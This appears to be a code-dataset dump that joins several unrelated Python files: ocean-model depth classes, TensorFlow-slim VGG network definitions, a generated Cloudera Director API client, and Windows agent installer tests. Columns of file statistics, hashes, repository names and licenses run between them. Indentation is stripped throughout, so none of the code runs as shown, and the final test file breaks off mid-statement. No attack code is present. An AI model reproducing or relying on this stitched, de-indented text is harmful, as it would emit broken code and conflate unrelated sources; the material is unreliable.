ti = zeta.shape[0]
z_r = np.empty((ti, self.N) + self.h.shape, 'd')
if self.Vtrans == 1:
for n in range(ti):
for k in range(self.N):
z0 = self.hc * self.s_rho[k] + (self.h - self.hc) * self.Cs_r[k]
z_r[n,k,:] = z0 + zeta[n,:] * (1.0 + z0 / self.h)
elif self.Vtrans == 2 or self.Vtrans == 4:
for n in range(ti):
for k in range(self.N):
z0 = (self.hc * self.s_rho[k] + self.h * self.Cs_r[k]) / \
(self.hc + self.h)
z_r[n,k,:] = zeta[n,:] + (zeta[n,:] + self.h) * z0
return np.squeeze(z_r[res_index])
class z_w(object):
"""
return an object that can be indexed to return depths of w point
z_w = z_w(h, hc, Np, s_w, Cs_w, zeta, Vtrans)
"""
def __init__(self, h, hc, Np, s_w, Cs_w, zeta, Vtrans):
self.h = h
self.hc = hc
self.Np = Np
self.s_w = s_w
self.Cs_w = Cs_w
self.zeta = zeta
self.Vtrans = Vtrans
def __getitem__(self, key):
if isinstance(key, tuple) and len(self.zeta.shape) > len(self.h.shape):
zeta = self.zeta[key[0]]
res_index = (slice(None),) + key[1:]
elif len(self.zeta.shape) > len(self.h.shape):
zeta = self.zeta[key]
res_index = slice(None)
else:
zeta = self.zeta
res_index = key
if self.h.ndim == zeta.ndim: # Assure a time-dimension exists
zeta = zeta[np.newaxis, :]
ti = zeta.shape[0]
z_w = np.empty((ti, self.Np) + self.h.shape, 'd')
if self.Vtrans == 1:
for n in range(ti):
for k in range(self.Np):
z0 = self.hc * self.s_w[k] + (self.h - self.hc) * self.Cs_w[k]
z_w[n,k,:] = z0 + zeta[n,:] * (1.0 + z0 / self.h)
elif self.Vtrans == 2 or self.Vtrans == 4:
for n in range(ti):
for k in range(self.Np):
z0 = (self.hc * self.s_w[k] + self.h * self.Cs_w[k]) / \
(self.hc + self.h)
z_w[n,k,:] = zeta[n,:] + (zeta[n,:] + self.h) * z0
return np.squeeze(z_w[res_index])
class z_coordinate(object):
"""
return an object that can be indexed to return depths
z = z_coordinate(h, depth, N)
"""
def __init__(self, h, depth, N):
self.h = np.asarray(h)
self.N = int(N)
Mm, Lm = h.shape
self.z = np.zeros((N, Mm, Lm))
for k in range(N):
self.z[k,:] = depth[k]
| 31.549724
| 264
| 0.518956
| 1,735
| 11,421
| 3.237464
| 0.087608
| 0.0705
| 0.044508
| 0.034894
| 0.839594
| 0.825174
| 0.795264
| 0.787787
| 0.787075
| 0.752537
| 0
| 0.0204
| 0.347605
| 11,421
| 361
| 265
| 31.637119
| 0.733459
| 0.110148
| 0
| 0.715447
| 0
| 0.004065
| 0.023093
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.081301
| false
| 0
| 0.00813
| 0
| 0.121951
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8abac7303404e26d5cdead26ffef112a5af72f41
| 13,913
|
py
|
Python
|
research/slim/nets/vgg.py
|
thexa4/artificial-data-research-models
|
aa622469758a35ddaa8cf8af0cf14925a08293a2
|
[
"Apache-2.0"
] | 1
|
2018-07-16T13:35:58.000Z
|
2018-07-16T13:35:58.000Z
|
research/slim/nets/vgg.py
|
thexa4/artificial-data-research-models
|
aa622469758a35ddaa8cf8af0cf14925a08293a2
|
[
"Apache-2.0"
] | null | null | null |
research/slim/nets/vgg.py
|
thexa4/artificial-data-research-models
|
aa622469758a35ddaa8cf8af0cf14925a08293a2
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Contains model definitions for versions of the Oxford VGG network.
These model definitions were introduced in the following technical report:
Very Deep Convolutional Networks For Large-Scale Image Recognition
Karen Simonyan and Andrew Zisserman
arXiv technical report, 2015
PDF: http://arxiv.org/pdf/1409.1556.pdf
ILSVRC 2014 Slides: http://www.robots.ox.ac.uk/~karen/pdf/ILSVRC_2014.pdf
CC-BY-4.0
More information can be obtained from the VGG website:
www.robots.ox.ac.uk/~vgg/research/very_deep/
Usage:
with slim.arg_scope(vgg.vgg_arg_scope()):
outputs, end_points = vgg.vgg_a(inputs)
with slim.arg_scope(vgg.vgg_arg_scope()):
outputs, end_points = vgg.vgg_16(inputs)
@@vgg_a
@@vgg_16
@@vgg_19
"""
import tensorflow as tf
slim = tf.contrib.slim
def vgg_arg_scope(weight_decay=0.0005):
"""Defines the VGG arg scope.
Args:
weight_decay: The l2 regularization coefficient.
Returns:
An arg_scope.
"""
with slim.arg_scope([slim.conv2d, slim.fully_connected],
activation_fn=tf.nn.relu,
weights_regularizer=slim.l2_regularizer(weight_decay),
biases_initializer=tf.zeros_initializer()):
with slim.arg_scope([slim.conv2d], padding='SAME') as arg_sc:
return arg_sc
def vgg_a(inputs,
num_classes=1000,
is_training=True,
dropout_keep_prob=0.5,
spatial_squeeze=True,
scope='vgg_a',
fc_conv_padding='VALID',
global_pool=False):
"""Oxford Net VGG 11-Layers version A Example.
Note: All the fully_connected layers have been transformed to conv2d layers.
To use in classification mode, resize input to 224x224.
Args:
inputs: a tensor of size [batch_size, height, width, channels].
num_classes: number of predicted classes. If 0 or None, the logits layer is
omitted and the input features to the logits layer are returned instead.
is_training: whether or not the model is being trained.
dropout_keep_prob: the probability that activations are kept in the dropout
layers during training.
spatial_squeeze: whether or not should squeeze the spatial dimensions of the
outputs. Useful to remove unnecessary dimensions for classification.
scope: Optional scope for the variables.
fc_conv_padding: the type of padding to use for the fully connected layer
that is implemented as a convolutional layer. Use 'SAME' padding if you
are applying the network in a fully convolutional manner and want to
get a prediction map downsampled by a factor of 32 as an output.
Otherwise, the output prediction map will be (input / 32) - 6 in case of
'VALID' padding.
global_pool: Optional boolean flag. If True, the input to the classification
layer is avgpooled to size 1x1, for any input size. (This is not part
of the original VGG architecture.)
Returns:
net: the output of the logits layer (if num_classes is a non-zero integer),
or the input to the logits layer (if num_classes is 0 or None).
end_points: a dict of tensors with intermediate activations.
"""
with tf.variable_scope(scope, 'vgg_a', [inputs]) as sc:
end_points_collection = sc.original_name_scope + '_end_points'
# Collect outputs for conv2d, fully_connected and max_pool2d.
with slim.arg_scope([slim.conv2d, slim.max_pool2d],
outputs_collections=end_points_collection):
net = slim.repeat(inputs, 1, slim.conv2d, 64, [3, 3], scope='conv1')
net = slim.max_pool2d(net, [2, 2], scope='pool1')
net = slim.repeat(net, 1, slim.conv2d, 128, [3, 3], scope='conv2')
net = slim.max_pool2d(net, [2, 2], scope='pool2')
net = slim.repeat(net, 2, slim.conv2d, 256, [3, 3], scope='conv3')
net = slim.max_pool2d(net, [2, 2], scope='pool3')
net = slim.repeat(net, 2, slim.conv2d, 512, [3, 3], scope='conv4')
net = slim.max_pool2d(net, [2, 2], scope='pool4')
net = slim.repeat(net, 2, slim.conv2d, 512, [3, 3], scope='conv5')
net = slim.max_pool2d(net, [2, 2], scope='pool5')
# Use conv2d instead of fully_connected layers.
net = slim.conv2d(net, 4096, [7, 7], padding=fc_conv_padding, scope='fc6')
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout6')
net = slim.conv2d(net, 4096, [1, 1], scope='fc7')
# Convert end_points_collection into a end_point dict.
end_points = slim.utils.convert_collection_to_dict(end_points_collection)
if global_pool:
net = tf.reduce_mean(net, [1, 2], keep_dims=True, name='global_pool')
end_points['global_pool'] = net
if num_classes:
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout7')
net = slim.conv2d(net, num_classes, [1, 1],
activation_fn=None,
normalizer_fn=None,
scope='fc8')
if spatial_squeeze:
net = tf.squeeze(net, [1, 2], name='fc8/squeezed')
end_points[sc.name + '/fc8'] = net
return net, end_points
vgg_a.default_image_size = 224
def vgg_16(inputs,
num_classes=1000,
is_training=True,
dropout_keep_prob=0.5,
spatial_squeeze=True,
scope='vgg_16',
fc_conv_padding='VALID',
global_pool=False):
"""Oxford Net VGG 16-Layers version D Example.
Note: All the fully_connected layers have been transformed to conv2d layers.
To use in classification mode, resize input to 224x224.
Args:
inputs: a tensor of size [batch_size, height, width, channels].
num_classes: number of predicted classes. If 0 or None, the logits layer is
omitted and the input features to the logits layer are returned instead.
is_training: whether or not the model is being trained.
dropout_keep_prob: the probability that activations are kept in the dropout
layers during training.
spatial_squeeze: whether or not should squeeze the spatial dimensions of the
outputs. Useful to remove unnecessary dimensions for classification.
scope: Optional scope for the variables.
fc_conv_padding: the type of padding to use for the fully connected layer
that is implemented as a convolutional layer. Use 'SAME' padding if you
are applying the network in a fully convolutional manner and want to
get a prediction map downsampled by a factor of 32 as an output.
Otherwise, the output prediction map will be (input / 32) - 6 in case of
'VALID' padding.
global_pool: Optional boolean flag. If True, the input to the classification
layer is avgpooled to size 1x1, for any input size. (This is not part
of the original VGG architecture.)
Returns:
net: the output of the logits layer (if num_classes is a non-zero integer),
or the input to the logits layer (if num_classes is 0 or None).
end_points: a dict of tensors with intermediate activations.
"""
with tf.variable_scope(scope, 'vgg_16', [inputs]) as sc:
end_points_collection = sc.original_name_scope + '_end_points'
# Collect outputs for conv2d, fully_connected and max_pool2d.
with slim.arg_scope([slim.conv2d, slim.fully_connected, slim.max_pool2d],
outputs_collections=end_points_collection):
net = slim.repeat(inputs, 2, slim.conv2d, 64, [3, 3], scope='conv1')
net = slim.max_pool2d(net, [2, 2], scope='pool1')
net = slim.repeat(net, 2, slim.conv2d, 128, [3, 3], scope='conv2')
net = slim.max_pool2d(net, [2, 2], scope='pool2')
net = slim.repeat(net, 3, slim.conv2d, 256, [3, 3], scope='conv3')
net = slim.max_pool2d(net, [2, 2], scope='pool3')
net = slim.repeat(net, 3, slim.conv2d, 512, [3, 3], scope='conv4')
net = slim.max_pool2d(net, [2, 2], scope='pool4')
net = slim.repeat(net, 3, slim.conv2d, 512, [3, 3], scope='conv5')
net = slim.max_pool2d(net, [2, 2], scope='pool5')
# Use conv2d instead of fully_connected layers.
net = slim.conv2d(net, 4096, [7, 7], padding=fc_conv_padding, scope='fc6')
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout6')
net = slim.conv2d(net, 4096, [1, 1], scope='fc7')
# Convert end_points_collection into a end_point dict.
end_points = slim.utils.convert_collection_to_dict(end_points_collection)
if global_pool:
net = tf.reduce_mean(net, [1, 2], keep_dims=True, name='global_pool')
end_points['global_pool'] = net
if num_classes:
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout7')
net = slim.conv2d(net, num_classes, [1, 1],
activation_fn=None,
normalizer_fn=None,
scope='fc8')
if spatial_squeeze:
net = tf.squeeze(net, [1, 2], name='fc8/squeezed')
end_points[sc.name + '/fc8'] = net
return net, end_points
vgg_16.default_image_size = 224
def vgg_19(inputs,
num_classes=1000,
is_training=True,
dropout_keep_prob=0.5,
spatial_squeeze=True,
scope='vgg_19',
fc_conv_padding='VALID',
global_pool=False):
"""Oxford Net VGG 19-Layers version E Example.
Note: All the fully_connected layers have been transformed to conv2d layers.
To use in classification mode, resize input to 224x224.
Args:
inputs: a tensor of size [batch_size, height, width, channels].
num_classes: number of predicted classes. If 0 or None, the logits layer is
omitted and the input features to the logits layer are returned instead.
is_training: whether or not the model is being trained.
dropout_keep_prob: the probability that activations are kept in the dropout
layers during training.
spatial_squeeze: whether or not should squeeze the spatial dimensions of the
outputs. Useful to remove unnecessary dimensions for classification.
scope: Optional scope for the variables.
fc_conv_padding: the type of padding to use for the fully connected layer
that is implemented as a convolutional layer. Use 'SAME' padding if you
are applying the network in a fully convolutional manner and want to
get a prediction map downsampled by a factor of 32 as an output.
Otherwise, the output prediction map will be (input / 32) - 6 in case of
'VALID' padding.
global_pool: Optional boolean flag. If True, the input to the classification
layer is avgpooled to size 1x1, for any input size. (This is not part
of the original VGG architecture.)
Returns:
net: the output of the logits layer (if num_classes is a non-zero integer),
or the non-dropped-out input to the logits layer (if num_classes is 0 or
None).
end_points: a dict of tensors with intermediate activations.
"""
with tf.variable_scope(scope, 'vgg_19', [inputs]) as sc:
end_points_collection = sc.original_name_scope + '_end_points'
# Collect outputs for conv2d, fully_connected and max_pool2d.
with slim.arg_scope([slim.conv2d, slim.fully_connected, slim.max_pool2d],
outputs_collections=end_points_collection):
net = slim.repeat(inputs, 2, slim.conv2d, 64, [3, 3], scope='conv1')
net = slim.max_pool2d(net, [2, 2], scope='pool1')
net = slim.repeat(net, 2, slim.conv2d, 128, [3, 3], scope='conv2')
net = slim.max_pool2d(net, [2, 2], scope='pool2')
net = slim.repeat(net, 4, slim.conv2d, 256, [3, 3], scope='conv3')
net = slim.max_pool2d(net, [2, 2], scope='pool3')
net = slim.repeat(net, 4, slim.conv2d, 512, [3, 3], scope='conv4')
net = slim.max_pool2d(net, [2, 2], scope='pool4')
net = slim.repeat(net, 4, slim.conv2d, 512, [3, 3], scope='conv5')
net = slim.max_pool2d(net, [2, 2], scope='pool5')
# Use conv2d instead of fully_connected layers.
net = slim.conv2d(net, 4096, [7, 7], padding=fc_conv_padding, scope='fc6')
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout6')
net = slim.conv2d(net, 4096, [1, 1], scope='fc7')
# Convert end_points_collection into a end_point dict.
end_points = slim.utils.convert_collection_to_dict(end_points_collection)
if global_pool:
net = tf.reduce_mean(net, [1, 2], keep_dims=True, name='global_pool')
end_points['global_pool'] = net
if num_classes:
net = slim.dropout(net, dropout_keep_prob, is_training=is_training,
scope='dropout7')
net = slim.conv2d(net, num_classes, [1, 1],
activation_fn=None,
normalizer_fn=None,
scope='fc8')
if spatial_squeeze:
net = tf.squeeze(net, [1, 2], name='fc8/squeezed')
end_points[sc.name + '/fc8'] = net
return net, end_points
vgg_19.default_image_size = 224
# Alias
vgg_d = vgg_16
vgg_e = vgg_19
| 45.917492
| 80
| 0.663121
| 2,016
| 13,913
| 4.440476
| 0.143849
| 0.035188
| 0.026139
| 0.02681
| 0.856568
| 0.853217
| 0.844727
| 0.844392
| 0.844392
| 0.839477
| 0
| 0.039748
| 0.236901
| 13,913
| 302
| 81
| 46.069536
| 0.803428
| 0.48293
| 0
| 0.744526
| 0
| 0
| 0.060958
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.029197
| false
| 0
| 0.007299
| 0
| 0.065693
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0a0f1b01183541f1b735a9a3aaa21bf2ff9fe4cb
| 11,025
|
py
|
Python
|
python-client/cloudera/director/d6_0/server_config_api.py
|
daanknoope/director-sdk
|
a099fedd5afe365aedbb50daa75de048ef6f7ab4
|
[
"Apache-2.0"
] | 24
|
2015-03-04T01:39:36.000Z
|
2020-06-30T13:34:27.000Z
|
python-client/cloudera/director/d6_0/server_config_api.py
|
daanknoope/director-sdk
|
a099fedd5afe365aedbb50daa75de048ef6f7ab4
|
[
"Apache-2.0"
] | 5
|
2015-11-04T08:18:47.000Z
|
2019-01-05T11:12:19.000Z
|
python-client/cloudera/director/d6_0/server_config_api.py
|
daanknoope/director-sdk
|
a099fedd5afe365aedbb50daa75de048ef6f7ab4
|
[
"Apache-2.0"
] | 26
|
2015-02-24T21:13:53.000Z
|
2020-12-15T06:01:46.000Z
|
# coding: utf-8
"""
Licensed to Cloudera, Inc. under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. Cloudera, Inc. licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from cloudera.director.common.client import ApiClient
class ServerConfigApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get(self, **kwargs): # noqa: E501
"""Get server configuration # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get(async=True)
>>> result = thread.get()
:param async bool
:return: dict(str, str)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.get_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_with_http_info(**kwargs) # noqa: E501
return data
def get_with_http_info(self, **kwargs): # noqa: E501
"""Get server configuration # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.get_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:return: dict(str, str)
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basic'] # noqa: E501
return self.api_client.call_api(
'/api/d6.0/serverConfigs', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, str)', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
model_package="cloudera.director.d6_0.models",
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def metadata(self, **kwargs): # noqa: E501
"""Retrieves the metadata for server configuration # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.metadata(async=True)
>>> result = thread.get()
:param async bool
:return: list[ConfigurationProperty]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.metadata_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.metadata_with_http_info(**kwargs) # noqa: E501
return data
def metadata_with_http_info(self, **kwargs): # noqa: E501
"""Retrieves the metadata for server configuration # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.metadata_with_http_info(async=True)
>>> result = thread.get()
:param async bool
:return: list[ConfigurationProperty]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method metadata" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basic'] # noqa: E501
return self.api_client.call_api(
'/api/d6.0/serverConfigs/metadata', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[ConfigurationProperty]', # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
model_package="cloudera.director.d6_0.models",
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_configs(self, server_configs, **kwargs): # noqa: E501
"""Get server configuration # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.update_configs(server_configs, async=True)
>>> result = thread.get()
:param async bool
:param object server_configs: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async'):
return self.update_configs_with_http_info(server_configs, **kwargs) # noqa: E501
else:
(data) = self.update_configs_with_http_info(server_configs, **kwargs) # noqa: E501
return data
def update_configs_with_http_info(self, server_configs, **kwargs): # noqa: E501
"""Get server configuration # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async=True
>>> thread = api.update_configs_with_http_info(server_configs, async=True)
>>> result = thread.get()
:param async bool
:param object server_configs: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server_configs'] # noqa: E501
all_params.append('async')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_configs" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server_configs' is set
if ('server_configs' not in params or
params['server_configs'] is None):
raise ValueError("Missing the required parameter `server_configs` when calling `update_configs`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'server_configs' in params:
body_params = params['server_configs']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['basic'] # noqa: E501
return self.api_client.call_api(
'/api/d6.0/serverConfigs', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async=params.get('async'),
model_package="cloudera.director.d6_0.models",
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 35
| 123
| 0.605533
| 1,244
| 11,025
| 5.152733
| 0.163987
| 0.046178
| 0.026209
| 0.033697
| 0.801716
| 0.78752
| 0.784243
| 0.773947
| 0.770515
| 0.74649
| 0
| 0.017379
| 0.30585
| 11,025
| 314
| 124
| 35.111465
| 0.820201
| 0.047982
| 0
| 0.753165
| 0
| 0
| 0.165302
| 0.059145
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.025316
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0a2dd0fb9364408df2c25da870a07ba3f4ed07c3
| 12,112
|
py
|
Python
|
plugins/windows-agent-installer/windows_agent_installer/tests/test_init.py
|
konradxyz/dev_fileserver
|
2c57520c447fc4bfda78668df575431be5c39276
|
[
"Apache-2.0"
] | null | null | null |
plugins/windows-agent-installer/windows_agent_installer/tests/test_init.py
|
konradxyz/dev_fileserver
|
2c57520c447fc4bfda78668df575431be5c39276
|
[
"Apache-2.0"
] | null | null | null |
plugins/windows-agent-installer/windows_agent_installer/tests/test_init.py
|
konradxyz/dev_fileserver
|
2c57520c447fc4bfda78668df575431be5c39276
|
[
"Apache-2.0"
] | null | null | null |
#########
# Copyright (c) 2013 GigaSpaces Technologies Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# * See the License for the specific language governing permissions and
# * limitations under the License.
import unittest
from cloudify.context import BootstrapContext
from cloudify.exceptions import NonRecoverableError
from cloudify.mocks import MockCloudifyContext
from windows_agent_installer import constants, init_worker_installer
@init_worker_installer
def init_cloudify_agent_configuration(*args, **kwargs):
if 'cloudify_agent' in kwargs:
return kwargs['cloudify_agent']
else:
raise ValueError("'cloudify_agent' not set by init_worker_installer")
class InitTest(unittest.TestCase):
def test_cloudify_agent_config_duplication(self):
ctx = MockCloudifyContext(node_id='node_id',
properties={'cloudify_agent':
{'user': 'prop_user',
'password': 'prop_password'},
'ip': 'dummy_ip'},
operation={'name': 'create'})
expected_message = "'cloudify_agent' is configured both as a node " \
"property and as an invocation input parameter" \
" for operation 'create'"
self.assertRaisesRegexp(NonRecoverableError, expected_message,
init_cloudify_agent_configuration, ctx,
cloudify_agent={'user': 'input_user',
'password': 'input_password'})
def test_cloudify_agent_set_as_property(self):
try:
from windows_agent_installer import winrm_runner
real_test_connectivity = winrm_runner.WinRMRunner.test_connectivity
def mock_test_connectivity(self):
pass
winrm_runner.WinRMRunner.test_connectivity = mock_test_connectivity
ctx = MockCloudifyContext(
node_id='node_id',
properties={'cloudify_agent': {'user': 'prop_user',
'password': 'prop_password'},
'ip': 'ip'})
cloudify_agent = init_cloudify_agent_configuration(ctx)
finally:
winrm_runner.WinRMRunner.test_connectivity = real_test_connectivity
self.assertEqual(cloudify_agent['user'], 'prop_user')
self.assertEqual(cloudify_agent['password'], 'prop_password')
def test_cloudify_agent_set_as_input(self):
try:
from windows_agent_installer import winrm_runner
real_test_connectivity = winrm_runner.WinRMRunner.test_connectivity
def mock_test_connectivity(self):
pass
winrm_runner.WinRMRunner.test_connectivity = mock_test_connectivity
ctx = MockCloudifyContext(node_id='node_id',
properties={'ip': 'ip'})
cloudify_agent = init_cloudify_agent_configuration(
ctx, cloudify_agent={'user': 'input_user',
'password': 'input_password'})
finally:
winrm_runner.WinRMRunner.test_connectivity = real_test_connectivity
self.assertEqual(cloudify_agent['user'], 'input_user')
self.assertEqual(cloudify_agent['password'], 'input_password')
def test_cloudify_agent_not_set(self):
ctx = MockCloudifyContext(node_id='node_id', properties={'ip': 'ip'})
expected_message = "Missing user in session_config"
self.assertRaisesRegexp(NonRecoverableError, expected_message,
init_cloudify_agent_configuration, ctx)
def test_set_service_configuration_parameters_with_empty_service(self): # NOQA
from windows_agent_installer \
import set_service_configuration_parameters
# cloudify agent does not contain any
# service configuration parameters.
# this means all parameters should be the default ones.
cloudify_agent = {'service': {}}
set_service_configuration_parameters(cloudify_agent)
self.assertEqual(
cloudify_agent['service']
[constants.SERVICE_FAILURE_RESET_TIMEOUT_KEY],
60)
self.assertEqual(
cloudify_agent['service']
[constants.SERVICE_FAILURE_RESTART_DELAY_KEY],
5000)
def test_set_service_configuration_parameters_no_service(self): # NOQA
from windows_agent_installer \
import set_service_configuration_parameters
# cloudify agent does not contain the 'service' key.
# this means all parameters should be the default ones.
cloudify_agent = {}
set_service_configuration_parameters(cloudify_agent)
self.assertEqual(
cloudify_agent['service']
[constants.SERVICE_FAILURE_RESET_TIMEOUT_KEY],
60)
self.assertEqual(
cloudify_agent['service']
[constants.SERVICE_FAILURE_RESTART_DELAY_KEY],
5000)
def test_set_service_configuration_parameters_with_full_service(self): # NOQA
from windows_agent_installer \
import set_service_configuration_parameters
# cloudify agent does contains all service configuration parameters.
# this means all parameters should be the ones we specify.
cloudify_agent = {'service': {
constants.SERVICE_FAILURE_RESET_TIMEOUT_KEY: 1,
constants.SERVICE_FAILURE_RESTART_DELAY_KEY: 1
}}
set_service_configuration_parameters(cloudify_agent)
self.assertEqual(
cloudify_agent['service']
[constants.SERVICE_FAILURE_RESET_TIMEOUT_KEY],
1)
self.assertEqual(
cloudify_agent['service']
[constants.SERVICE_FAILURE_RESTART_DELAY_KEY],
1)
def test_set_service_configuration_parameters_digit_validation(self): # NOQA
from windows_agent_installer \
import set_service_configuration_parameters
cloudify_agent = {'service': {
constants.SERVICE_FAILURE_RESET_TIMEOUT_KEY: "Hello"
}}
try:
set_service_configuration_parameters(cloudify_agent)
self.fail('Expected NonRecoverableError since {0} is not a number'
.format(constants.SERVICE_FAILURE_RESET_TIMEOUT_KEY))
except NonRecoverableError:
pass
def test_set_autoscale_parameters_with_empty_bootstrap_context_and_empty_cloudify_agent(self): # NOQA
from windows_agent_installer import set_bootstrap_context_parameters
# cloudify agent does not contain any
# auto scale configuration parameters.
# bootstrap_context does not contain any
# auto scale configuration parameters.
# this means all parameters should be the default ones.
cloudify_agent = {}
ctx = MockCloudifyContext(bootstrap_context={})
set_bootstrap_context_parameters(
ctx.bootstrap_context,
cloudify_agent)
self.assertEqual(cloudify_agent[constants.MAX_WORKERS_KEY], 5)
self.assertEqual(cloudify_agent[constants.MIN_WORKERS_KEY], 2)
def test_set_autoscale_parameters_with_bootstrap_context_and_empty_cloudify_agent(self): # NOQA
from windows_agent_installer import set_autoscale_parameters
# cloudify agent does not contain any
# auto scale configuration parameters.
# bootstrap_context does contain auto
# scale configuration parameters.
# this means all parameters should be the ones
# specified by the bootstrap_context.
cloudify_agent = {}
bootstrap_context = BootstrapContext({'cloudify_agent': {
